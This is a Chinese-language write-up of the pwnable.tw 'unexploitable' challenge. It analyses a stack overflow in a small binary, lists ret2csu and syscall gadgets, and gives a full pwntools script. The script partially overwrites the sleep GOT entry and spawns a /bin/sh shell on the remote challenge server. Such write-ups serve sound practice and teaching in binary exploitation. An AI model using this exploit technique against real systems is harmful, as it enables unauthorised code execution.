Pwnable.tw-unexploitable

2024-10-24

Pwnable.tw-unexploitable

Author: 堇姬Naup

IDA分析

1
2
3
4
5
6
7
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

sleep(3u);
return read(0, buf, 0x100uLL);
}

分析

非常明顯的buffer overflow

1
2
3
4
5
6
7
pwndbg> checksec
File: /home/naup/Desktop/pwn/pwnable/unexpectable/unexploitable
Arch: amd64
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

並且甚麼保護都沒開
可以蓋ret address來做任意跳轉
那我究竟可以跳去哪,一開始先來看能不能寫ROP

1
2
naup@naup-virtual-machine:~/Desktop/pwn/pwnable/unexpectable$ file unexploitable 
unexploitable: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=aba2c1fb7a4bca286d75e23006f9fe01dfcb03c2, not stripped

一個dynamic並且gadget沒有很多
不過這題有看到csu
可以打ret2csu

1
2
3
4
5
6
7
8
.text:00000000004005E6                 mov     rbx, [rsp+38h+var_30]
.text:00000000004005EB mov rbp, [rsp+38h+var_28]
.text:00000000004005F0 mov r12, [rsp+38h+var_20]
.text:00000000004005F5 mov r13, [rsp+38h+var_18]
.text:00000000004005FA mov r14, [rsp+38h+var_10]
.text:00000000004005FF mov r15, [rsp+38h+var_8]
.text:0000000000400604 add rsp, 38h
.text:0000000000400608 retn

這裡可以控
rbx、rbp、r12、r13、r14、r15

1
2
3
4
5
6
7
.text:00000000004005D0                 mov     rdx, r15
.text:00000000004005D3 mov rsi, r14
.text:00000000004005D6 mov edi, r13d
.text:00000000004005D9 call qword ptr [r12+rbx*8]
.text:00000000004005DD add rbx, 1
.text:00000000004005E1 cmp rbx, rbp
.text:00000000004005E4 jnz short loc_4005D0

另外這裡有call跟可以透過r15、r14、r13控rdx、rsi、edi

首先想法是call read,如果我能夠call read,去改GOT sleep成可以利用的
最後跳上去
然而我們沒有libc base,但觀察一下libc

1
1845: 00000000000cb680    74 FUNC    WEAK   DEFAULT   13 sleep@@GLIBC_2.2.5

sleep在libc的offset是0xcb680
我們都知道ASLR是libc base + offset
並且libc base低位是000
代表如果有可以利用的gadget可以透過改1 byte低位就可以利用
這裡最後選擇syscall(過濾一下offset是0xcb6開頭的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0x00000000000cb6d8 : adc byte ptr [rax + 0x22], bh ; syscall
0x00000000000cb6f4 : add al, 0x24 ; mov eax, 0x22 ; syscall
0x00000000000cb64f : add byte ptr [rax + 0x25], bh ; syscall
0x00000000000cb64d : add byte ptr [rax], al ; add byte ptr [rax + 0x25], bh ; syscall
0x00000000000cb64c : add byte ptr [rax], al ; add byte ptr [rax], al ; mov eax, 0x25 ; syscall
0x00000000000cb6d5 : add byte ptr [rax], al ; jne 0xcb6e9 ; mov eax, 0x22 ; syscall
0x00000000000cb64e : add byte ptr [rax], al ; mov eax, 0x25 ; syscall
0x00000000000cb6d6 : add byte ptr [rbp + 0x10], dh ; mov eax, 0x22 ; syscall
0x00000000000cb6f5 : and al, 0xb8 ; and al, byte ptr [rax] ; add byte ptr [rax], al ; syscall
0x00000000000cb6da : and al, byte ptr [rax] ; add byte ptr [rax], al ; syscall
0x00000000000cb608 : fistp qword ptr [rax + 0xf7] ; syscall
0x00000000000cb6d7 : jne 0xcb6e9 ; mov eax, 0x22 ; syscall
0x00000000000cb6f3 : mov dword ptr [rsp], eax ; mov eax, 0x22 ; syscall
0x00000000000cb6d9 : mov eax, 0x22 ; syscall
0x00000000000cb650 : mov eax, 0x25 ; syscall
0x00000000000cb607 : mov edi, ebx ; mov eax, 0xf7 ; syscall
0x00000000000cb605 : mov esi, ebp ; mov edi, ebx ; mov eax, 0xf7 ; syscall
0x0000000000114cb6 : mov esi, ebp ; movsxd rdi, ebx ; mov eax, ecx ; syscall
0x00000000000cb6f2 : mov qword ptr [rsp], rax ; mov eax, 0x22 ; syscall
0x00000000000cb606 : out dx, al ; mov edi, ebx ; mov eax, 0xf7 ; syscall

這條看起來不錯

1
0x00000000000cb650 : mov eax, 0x25 ; syscall

前面佔0x5 byte所以實際上syscall是0xcb655
把低位改成0x55就行了

最後就可以透過r12跳上sysacll
那前置作業就是再寫一個binsh到bss段,另外rax在read完後會把rax設為輸入的byte數
最後設定為rdx rdi rsi
rax也正確,跳上去syscall就成功get shell

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./unexploitable')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10403")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p(r)

### exploit
def csu_gadget_gen(rsp0,rsp8,rsp10,rsp18,rsp20,rsp28,rsp30):
# 0 rbx rbp r12 r13(edi) r14(rsi) r15(rdx)
return p64(rsp0) + p64(rsp8) + p64(rsp10) + p64(rsp18) + p64(rsp20) + p64(rsp28) + p64(rsp30)

csu_gadget_1 = 0x4005E6
csu_gadget_2 = 0x4005D0

sleep_got = 0x601010
read_got = 0x601000

binsh = 0x601400
# change sleep got to syscall gadget
ret2csu_payload = b'a'*(0x10+0x8)+p64(csu_gadget_1) +csu_gadget_gen(0x0, 0x0, 0x1, read_got, 0 , sleep_got, 1)+p64(csu_gadget_2)
# write binsh and rax to 0x3b
ret2csu_payload += csu_gadget_gen(0x0, 0x0, 0x1, read_got, 0 , binsh, 59)+p64(csu_gadget_2)
# call syscall and set rdx rdi rsi
ret2csu_payload += csu_gadget_gen(0x0, 0x0, 0x1, sleep_got, binsh , 0, 0)+p64(csu_gadget_2)

sl(ret2csu_payload)
time.sleep(3)
s(b'\x55')
time.sleep(1)
s(b'/bin/sh\x00'+b'a'*(59-len(b'/bin/sh\x00')))

NAUPINFO('BINSH',hex(binsh))
### interactive
ita()

'''
.text:00000000004005D0
.text:00000000004005D0 loc_4005D0: ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005D0 mov rdx, r15
.text:00000000004005D3 mov rsi, r14
.text:00000000004005D6 mov edi, r13d
.text:00000000004005D9 call qword ptr [r12+rbx*8]
.text:00000000004005DD add rbx, 1
.text:00000000004005E1 cmp rbx, rbp
.text:00000000004005E4 jnz short loc_4005D0
.text:00000000004005E6
.text:00000000004005E6 loc_4005E6: ; CODE XREF: __libc_csu_init+48↑j
.text:00000000004005E6 mov rbx, [rsp+38h+var_30]
.text:00000000004005EB mov rbp, [rsp+38h+var_28]
.text:00000000004005F0 mov r12, [rsp+38h+var_20]
.text:00000000004005F5 mov r13, [rsp+38h+var_18]
.text:00000000004005FA mov , [rsp+38h+var_10]
.text:00000000004005FF mov r15, [rsp+38h+var_8]
.text:0000000000400604 add rsp, 38h
'''

# 0x00000000000cb650 : mov eax, 0x25 ; syscall

感覺是非預期解